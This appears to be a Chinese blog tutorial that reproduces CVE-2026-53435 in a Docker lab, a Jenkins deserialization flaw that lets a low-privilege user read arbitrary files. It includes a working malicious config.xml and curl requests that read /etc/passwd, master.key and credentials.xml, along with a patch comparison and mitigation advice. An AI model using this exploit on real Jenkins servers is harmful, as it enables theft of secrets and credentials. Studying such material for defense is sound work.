文章

CVE-2026-53435 复现详解:Jenkins 反序列化导致任意文件读取(新手向)

面向新手的 CVE-2026-53435 Jenkins 反序列化漏洞复现教程,从环境搭建到利用原理,手把手教你理解并复现该漏洞。

CVE-2026-53435 复现详解:Jenkins 反序列化导致任意文件读取(新手向)

免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。未经授权对他人系统进行渗透测试属于违法行为。

目录


漏洞概述

什么是 CVE-2026-53435?

CVE-2026-53435 是 Jenkins 核心中的一个高危反序列化漏洞(官方编号 SECURITY-3707)。它允许一个低权限的认证用户通过上传恶意构造的 config.xml 文件,在 Jenkins 控制器上实现:

  • 任意文件读取(本文重点演示)
  • 用户冒充(发送服务器端请求)
  • 远程代码执行(通过 Script Console 执行 Groovy 代码)

影响范围

项目内容
漏洞编号CVE-2026-53435 / SECURITY-3707
漏洞类型不安全的反序列化(Unsafe Deserialization)
CVSS 评分8.8(High)
影响版本Jenkins weekly ≤ 2.567,LTS ≤ 2.555.2
修复版本Jenkins weekly 2.568,LTS 2.555.3
安全公告https://www.jenkins.io/security/advisory/2026-06-10/

前置条件

攻击者只需要满足以下条件:

  1. 拥有一个认证用户账号(不能是匿名用户)
  2. 拥有 Overall/Read 权限
  3. 拥有以下任意一种权限即可:
    • View/Configure(视图配置)
    • Item/Configure(任务配置)
    • Agent/Configure(代理配置)

换句话说,一个最普通的 Jenkins 用户,只要他能创建或修改视图(View),就可能利用这个漏洞读取服务器上的任意文件。


前置知识

在深入复现之前,我们需要先理解几个关键概念。别担心,我会用简单的类比来解释。

1. 什么是序列化与反序列化?

概念定义生活类比
序列化把程序中的对象转换成可以存储或传输的格式(如 XML、JSON、二进制)把新鲜水果做成水果罐头
反序列化把存储/传输的格式还原成程序中的对象把水果罐头打开,还原成水果

Jenkins 使用 XStream 库将 Java 对象序列化为 XML 格式保存到 config.xml 文件中。当 Jenkins 需要读取配置时,再把 XML 反序列化 回 Java 对象。

2. Stapler Web 框架

Jenkins 使用 Stapler 框架来处理 HTTP 请求。它的工作方式很特别:

  • 普通的 Web 框架:URL 映射到某个方法或控制器
  • Stapler:URL 直接映射到对象的字段和方法

比如访问 /view/myview/properties/0/somefile,Stapler 会:

  1. 找到 myview 这个视图对象
  2. 访问它的 properties 字段(一个列表)
  3. 取索引 0 的对象
  4. 把剩下的路径 somefile 传给该对象处理

3. JEP-200 与 ClassFilter

2018 年,Jenkins 实施了 JEP-200 安全改进,引入了一个 ClassFilter:

  • 只允许反序列化 Jenkins 核心或插件中定义的类
  • 阻止了常见的第三方 gadget chain(如 Commons-Collections)

这就像一个”白名单”:只有 Jenkins 自家的类才能被反序列化。

4. 为什么普通的 ysoserial 链无效?

很多 Java 反序列化漏洞可以用 ysoserial 工具一键利用,但在这个漏洞中:

  • ysoserial 生成的 gadget chain 使用的是第三方库类(如 Commons-Collections)
  • 这些类不在 Jenkins 的白名单中
  • 所以会被 ClassFilter 拦截

结论:我们必须找到一个** Jenkins 核心自带的类**作为 gadget,才能绕过 ClassFilter。


漏洞原理深入解析

根因:两道防线之间的”缝隙”

Jenkins 有两道安全防线:

  1. ClassFilter(反序列化时):检查类是否在白名单中
  2. Stapler 路由限制(HTTP 请求时):限制只能路由到白名单中的类型

这两道防线各自有效,但之间存在一个安全间隙:

ClassFilter 只检查”这个类是不是 Jenkins 核心/插件里的类”,但它不检查”这个类是不是应该出现在这个位置”。

三个关键弱点

弱点 1:DescribableList 不强制验证元素类型

Jenkins 中有很多 DescribableList<T> 类型的列表,比如视图的 properties 列表,它的声明类型是 DescribableList<ViewProperty>。

问题:在修复前的版本中,XStream 反序列化这个列表时,不会严格验证列表里的每个元素是否真的是 ViewProperty 类型。这就给了我们”偷梁换柱”的机会。

弱点 2:hudson.Plugin$DummyImpl 是核心类

我们找到的 gadget 是 hudson.Plugin$DummyImpl(XStream 序列化时写成 hudson.Plugin_-DummyImpl,用 _ 代替 $)。

属性说明
所属位置Jenkins 核心(hudson.Plugin 的内部类)
ClassFilter通过(因为是核心类)
关键字段baseResourceURL
危险方法doDynamic()(继承自 hudson.Plugin)

这个类虽然是”Dummy”(虚拟/占位)用的,但它继承了 hudson.Plugin 的所有方法,包括 doDynamic()。

弱点 3:doDynamic() 可以读取文件

hudson.Plugin.doDynamic() 方法的作用是:将 URL 路径的剩余部分作为静态资源路径,相对于 baseResourceURL 进行解析并返回。

如果我们把 baseResourceURL 设置为 file:/(文件系统根目录),那么访问 /view/xxx/properties/0/etc/passwd 时:

  1. Stapler 路由到 DummyImpl 对象
  2. 调用 doDynamic("etc/passwd")
  3. 该方法读取 file:/etc/passwd
  4. 文件内容返回给攻击者

攻击链图解

1
2
3
4
5
6
7
8
9
攻击者 POST 恶意 config.xml
        ↓
XStream 反序列化,DummyImpl 被植入 view.properties[0]
        ↓
攻击者 GET /view/{name}/properties/0/etc/passwd
        ↓
Stapler 路由到 DummyImpl.doDynamic()
        ↓
读取 file:/etc/passwd 并返回

实验环境搭建

环境拓扑

我们使用 Docker Compose 搭建一个完整的实验环境,包含两个 Jenkins 实例:

容器角色访问地址
cve53435-jenkins-vuln漏洞版本 LTS 2.555.2http://localhost:8080
cve53435-jenkins-fixed修复版本 LTS 2.555.3http://localhost:8081

启动实验环境

1
2
cd /home/fyfhcgch/Github/fyfhcgch.github.io/CVE-2026-53435/CVE-2026-53435/lab
docker compose -f docker-compose.yml up -d

等待约 60 秒让 Jenkins 完成启动:

1
2
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:8080/login
# 返回 200 表示就绪

实验账号

环境通过 init.groovy.d/01-setup.groovy 自动创建了两个用户:

用户名密码权限
adminadmin123管理员(全部权限)
lowprivlowpriv123Overall/Read + Item/Configure(攻击者身份)

注意:lowpriv 不是管理员!它只有普通用户的最低必要权限,这正是这个漏洞的可怕之处。


手动复现步骤

下面我们以 lowpriv 用户身份,一步步手动复现漏洞。

Step 1:获取 CSRF Crumb

Jenkins 默认开启 CSRF 防护,POST 请求需要携带 crumb:

1
2
curl -u "lowpriv:lowpriv123" \
  -X GET "http://localhost:8080/crumbIssuer/api/json"

响应示例:

1
2
3
4
5
{
  "_class": "hudson.security.csrf.DefaultCrumbIssuer",
  "crumb": "4017c9fe0a3c87d005a258a7b3d1b21ce872657ef16c2789cd830865659a8f3a",
  "crumbRequestField": "Jenkins-Crumb"
}

记下 crumb 的值,后面会用到。

Step 2:构造恶意 config.xml

创建文件 exploit.xml,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<hudson.model.ListView>
  <name>CVE202653435</name>
  <filterExecutors>false</filterExecutors>
  <filterQueue>false</filterQueue>
  <properties class="hudson.model.View$PropertyList">
    <hudson.Plugin_-DummyImpl>
      <wrapper class="hudson.PluginWrapper">
        <baseResourceURL>file:/</baseResourceURL>
      </wrapper>
    </hudson.Plugin_-DummyImpl>
  </properties>
</hudson.model.ListView>

关键元素解释:

元素含义
<hudson.model.ListView>创建一个列表视图(View)
<properties>视图的属性列表(DescribableList)
<hudson.Plugin_-DummyImpl>植入的 gadget 类。注意:XStream 用 _ 代替 $
<baseResourceURL>file:/</baseResourceURL>设置基础资源 URL 为文件系统根目录

Step 3:发送恶意请求创建 View

1
2
3
4
5
curl -u "lowpriv:lowpriv123" \
  -X POST "http://localhost:8080/createView?name=CVE202653435" \
  -H "Content-Type: application/xml" \
  -H "Jenkins-Crumb:4017c9fe0a3c87d005a258a7b3d1b21ce872657ef16c2789cd830865659a8f3a" \
  --data-binary @exploit.xml

预期响应:HTTP 200(创建成功)

Step 4:验证 Gadget 是否植入成功

获取刚才创建的 view 的 config.xml,检查 DummyImpl 是否存在:

1
2
curl -u "lowpriv:lowpriv123" \
  -X GET "http://localhost:8080/view/CVE202653435/config.xml"

预期响应(关键部分):

1
2
3
4
5
6
7
8
9
<?xml version="1.1" encoding="UTF-8"?>
<hudson.model.ListView>
  <name>CVE202653435</name>
  ...
  <properties>
    <hudson.Plugin_-DummyImpl/>
  </properties>
  ...
</hudson.model.ListView>

看到 <hudson.Plugin_-DummyImpl/> 说明 gadget 已经成功植入!

Step 5:读取任意文件

现在通过 Stapler 路由触发文件读取。我们来读取 /etc/passwd:

1
2
curl -u "lowpriv:lowpriv123" \
  -X GET "http://localhost:8080/view/CVE202653435/properties/0/etc/passwd"

预期响应:

1
2
3
4
5
6
7
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash

成功了!我们用一个普通用户权限读取了 Jenkins 服务器上的 /etc/passwd。

Step 6:读取 Jenkins 敏感配置文件

除了系统文件,我们还可以读取 Jenkins 自身的敏感配置:

1
2
3
4
5
6
7
8
9
10
11
# 读取 Jenkins 主配置
curl -u "lowpriv:lowpriv123" \
  -X GET "http://localhost:8080/view/CVE202653435/properties/0/var/jenkins_home/config.xml"

# 读取 master.key(加密密钥)
curl -u "lowpriv:lowpriv123" \
  -X GET "http://localhost:8080/view/CVE202653435/properties/0/var/jenkins_home/secrets/master.key"

# 读取凭据文件
curl -u "lowpriv:lowpriv123" \
  -X GET "http://localhost:8080/view/CVE202653435/properties/0/var/jenkins_home/credentials.xml"

Step 7:清理恶意 View

测试完成后,记得删除创建的恶意视图:

1
2
3
curl -u "lowpriv:lowpriv123" \
  -X POST "http://localhost:8080/view/CVE202653435/doDelete" \
  -H "Jenkins-Crumb:4017c9fe0a3c87d005a258a7b3d1b21ce872657ef16c2789cd830865659a8f3a"

补丁对比与验证

为了证明这个 PoC 确实针对的是 CVE-2026-53435,而不是其他文件读取漏洞,我们在漏洞版本和修复版本上分别测试。

测试环境

实例版本端口
漏洞版本Jenkins LTS 2.555.28080
修复版本Jenkins LTS 2.555.38081

对比结果

测试项2.555.2(漏洞)2.555.3(修复)
createView 请求HTTP 200HTTP 200
存储的 <properties><hudson.Plugin_-DummyImpl/> 保留<properties/> 被清空
触发读取 /etc/passwdroot:x:0:0:... 成功空响应 失败

结论

修复版本接受了 createView 请求,但在反序列化时拒绝了非预期的类型(DummyImpl),导致 properties 列表被清空。因此后续的路由请求找不到对象,文件读取失败。

这证明了补丁确实修复了该漏洞的核心机制。


防御与修复建议

立即措施:升级 Jenkins

当前版本类型目标版本
Weekly2.568 或更高
LTS2.555.3 或更高
1
2
3
4
5
# Docker 升级示例
docker pull jenkins/jenkins:2.568
docker stop jenkins
docker rm jenkins
docker run -d --name jenkins -p 8080:8080 jenkins/jenkins:2.568

临时缓解措施

如果无法立即升级,可以采取以下措施降低风险:

  1. 最小化权限
    • 审计并严格限制拥有 View/Configure、Item/Configure、Agent/Configure 权限的用户数量
  2. 启用审计日志
    • 监控包含 DummyImpl 或 baseResourceURL 的 POST /createView 请求
    • 监控 GET /view/*/properties/0/* 路径的异常访问
  3. 网络隔离
    • 限制 Jenkins 管理界面的网络访问范围
    • 使用 VPN 或私有网络访问 Jenkins 控制台

入侵检测(IoC)

检查是否已被攻击:

1
2
3
4
# 列出所有 view,检查 config.xml 中是否包含 DummyImpl
for view in $(curl -s "$JENKINS_URL/api/json" | jq -r '.views[].name'); do
  curl -s "$JENKINS_URL/view/$view/config.xml" | grep -i "DummyImpl" && echo "ALERT: $view"
done

如果发现包含 DummyImpl 的视图,立即删除并轮换所有敏感凭据:

1
2
3
# 删除恶意 View
curl -u "user:pass" -X POST "http://jenkins/view/CVE202653435/doDelete" \
  -H "Jenkins-Crumb:xxx"

总结

关键知识点回顾

  1. 反序列化漏洞不一定需要第三方 gadget:Jenkins 核心自带的类也可以被利用
  2. 白名单机制有局限:ClassFilter 只检查”类在哪里定义”,不检查”类应该出现在哪里”
  3. 框架特性可能成为攻击面:Stapler 的自动路由特性在这里被利用来触发危险方法
  4. 低权限 ≠ 低风险:一个只有 View/Configure 权限的普通用户,也能造成严重危害

参考资源


文章撰写时间:2026-06-18 测试环境:Jenkins 2.555.2 (Docker)

本文由作者按照 CC BY 4.0 进行授权